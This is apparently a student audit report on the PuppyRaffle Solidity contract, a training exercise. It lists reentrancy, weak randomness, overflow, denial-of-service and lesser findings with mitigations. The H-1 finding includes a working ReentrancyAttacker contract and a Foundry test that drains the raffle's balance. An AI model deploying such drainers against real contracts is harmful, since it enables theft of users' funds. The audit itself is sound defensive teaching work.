PuppyRaffle Protocol Audit Report

Version 1.0

Cyfrin.io-Student-Elechukwu

February 17, 2026

PuppyRaffle Protocol Audit Report

Cyfrin.io-Student-Elechukwu

February 17, 2026

PuppyRaffle Protocol Audit Report

Prepared By
Cyfrin.io-Student-Elechukwu

Date
February 17, 2026

Table of Contents

- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
  - [H-1] Reentrancy attack on `PuppyRaffle::refund()` allows entrant to drain raffle balance.
  - [H-2] Weak randomness in `PuppyRaffle::selectWinner()` allows users to influence or predict the winner and influence or predict the winning puppy.
  - [H-3] Integer overflow of `PuppyRaffle::totalFees()` loses fees.
- Medium
  - [M-1] Looping through the array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service attack.
  -
    - [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees.
    - [M-3] Smart contract wallet raffle winners without a `receive` or `fallback` will block the start of a new contest.
- Low
  - [L-1] `PuppyRaffle::getActivePlayer` returns 0 for non-existent players and index 0 players.
- Informational
  - [I-1] Solidity Pragam be specific, not wild
  - [I-2] Using an Outdated Version of Solidity is Not Recommended
  - [I-3] Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice.
  - [I-5] Use of "magic" numbers is discouraged
  - [I-6] State Changes are Missing Events
  - [I-7] _isActivePlayer is never used and should be removed
- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable.
  - [G-2] Storage variables in a loop should be cached

Protocol Summary

PuppyRaffle is a decentralized raffle protocol that allows users to enter raffles by paying an entrance fee. At the end of each raffle, a winner is selected pseudo-randomly, awarded the prize pool, and minted an NFT representing the winning puppy. The protocol also collects fees that can later be withdrawn by a designated fee address.

Disclaimer

The Elechukwu C audit team makes all efforts to identify as many security vulnerabilities as possible within the given time frame but makes no guarantees regarding the completeness of the findings. This audit does not constitute an endorsement of the protocol. The review was time-boxed and focused solely on the security aspects of the Solidity smart contract implementation.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Severity classification follows the CodeHawks severity matrix.

Audit Details

Scope

- `PuppyRaffle.sol`

Roles

- **Raffle Participants:** Users entering the raffle
- **Winner:** Selected raffle participant
- **Fee Address:** Address entitled to protocol fees

Executive Summary

The PuppyRaffle protocol was reviewed for security vulnerabilities, logic flaws, gas inefficiencies, and deviations from best practices. The audit uncovered several high-severity issues that could lead to loss of funds, manipulation of raffle outcomes, and permanent denial of service. Multiple medium and low-severity findings were also identified.

Issues found

Severity	Number of Issues
High	3
Medium	3
Low	1
Informational	7
Gas	2
Total	**16**

Findings

High

[H-1] Reentrancy attack on `PuppyRaffle::refund()` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund()` does not follow CEI (Check Effect Interactions) and as a result, enable participants to drain the contract balance.

In the `puppyRaffle::refund()` function, we first make external call to `msg.sender` address and only after making that external call do we update the `puppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded,
or is not active");

@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who have entered the raffle, could have a `fallback`/`receive` function that calls the `puppyRaffle::refund()` function again and calim another refund. They continue the circle til the contract balance is drained.

Impact: All the fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund()`
3. Attacker enters raffle.
4. attacker calls `PuppyRaffle::refund()` from their attack contract, draining the contract balance.

Proof of Code:

▶ Code

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackerAddress = makeAddr("attackerAddress");
        vm.deal(attackerAddress, 1 ether);

        uint256 startingAttackerBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackerAddress);
        attackerContract.attack{value: entranceFee}();

        console.log("Attacker balance after attack:",
address(attackerContract).balance);
        console.log("Contract balance after attack:", address(puppyRaffle).balance);

        console.log("Attacker profit:", address(attackerContract).balance -
startingAttackerBalance);
        console.log("Contract loss:", startingContractBalance -
address(puppyRaffle).balance);
    }
```

Add this contract too:-

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
```

```
            address[] memory players  =  new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
                }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::raffle()` function update the `players` array before making external call. Additionally we should move the `event` emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded,
or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFees);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner()` allows users to influence or predict the winner and influence or predict the winning puppy.

Description Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable finale number. A predictable number is not a good random number. Malicious users can manipulate this values or know them ahead of time to choose the winner of the raffle ahead of time.

Note: This additionally mean users can front-run this function and call `refund` if they see the are not the winner.

Impact: Any user can influence winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the contest.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. see the Solidity blog on prevrandao. `block.difficulty` was recently replaced by `prevrandao`.
2. Users can mine/manipulate their `msg.sender` to result in their address being used to generate the winner!
3. Users can revert therir `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees()` loses fees.

Description:
The `totalFees` variable uses `uint64`, which is susceptible to overflow in Solidity versions prior to `0.8.0`.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact:
Fees may become permanently stuck in the contract, and the fee address may be unable to withdraw the correct amount.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees:()`

```
require(address(this).balance ==
uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do. At some point there will be too much `balance` in the contract that the above `require` will be impossible to hit.

▶ Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:
Use `uint256` for `totalFees`, upgrade Solidity, and remove the restrictive balance check in `withdrawFees()`.

```
-  require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
```

Medium

[M-1] Looping through the array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service attack.

Impact:
Gas costs scale quadratically, allowing attackers to prevent new participants from entering the raffle.

Proof of Concept: Calling `PuppyRaffle::enterRaffle` with 100 players consumes approximately 23,700,332 gas. A subsequent call adding another 100 players consumes approximately 87,989,882 gas, representing a >3× increase for the same operation size.

This behavior can be reproduced and measured using forge `test --gas-report` on the test code added to `PuppyRaffleTest.t.sol`:

▶ Code

```
function test_Denial_Of_Service_Attack() public {
     // Entering the first 100 players
       uint256 numPlayers = 100;
       address[] memory players = new address[](numPlayers);
       for (uint256 i = 0; i < numPlayers; i++) {
           players[i] = address(i);
       }
       puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
       // Entering the second 100 players.
       address[] memory playersTwo = new address[](numPlayers);
       for (uint256 i = 0; i < numPlayers; i++) {
           playersTwo[i] = address(i + numPlayers);
       }
       puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(playersTwo);
   }
```

Recommended Mitigation:
Use mappings for constant-time duplicate checks or allow duplicate entries.

▶ Code

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }
```

```
-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle:
Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
    }
```

Alternatively, you could use [OpenZeppelin's, `EnumerableSet` library](https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumarableSet).

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees.

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact:
Casting a `uint256` to `uint64` can truncate values, resulting in lost fees.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
    uint256 max = type(uint64).max
    uint256 fee = max + 1
    uint64(fee)
    // prints 0
```

Recommended Mitigation:
Use `uint256` consistently and remove unsafe casts.

▶ Code

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
    }
```

[M-3] Smart contract wallet raffle winners without a `receive` or `fallback` will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart. Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact:
The raffle may be unable to reset, preventing future contests and payouts.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation:
Adopt a pull-payment mechanism for prize distribution.

Low

[L-1] `PuppyRaffle::getActivePlayer` returns 0 for non-existent players and index 0 players.

Description If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact:
Players at index 0 may believe they have not entered and waste gas.

Proof of Code

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayer()` returns 0.
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation:
Revert when the player is not found or return a sentinel value such as `-1`.

Informational

[I-1] Solidity Pragam be specific, not wild

Consider using a specific version of Solidity in your contracts instead of wild version. for example, instead of `prama solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation **Recommendations:** Deploy with any of the following Solidity versions: `0.8.18` The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice.

it's best to keep code clean and follow CEI (Checks, Effect, Interaction)

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

▶ Code

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:-

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;

    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol. It is best practice to emit an event whenever an action results in a state change. Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function
- `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
```

```
-            }
-        }
-        return false;
-    }
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage as opposed to memory which is more gas efficient.

```
+        uint256 playerLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
         for (uint256 i = 0; i < playerslength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
            for (uint256 j = i + 1; j < playerslength; j++) {

                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```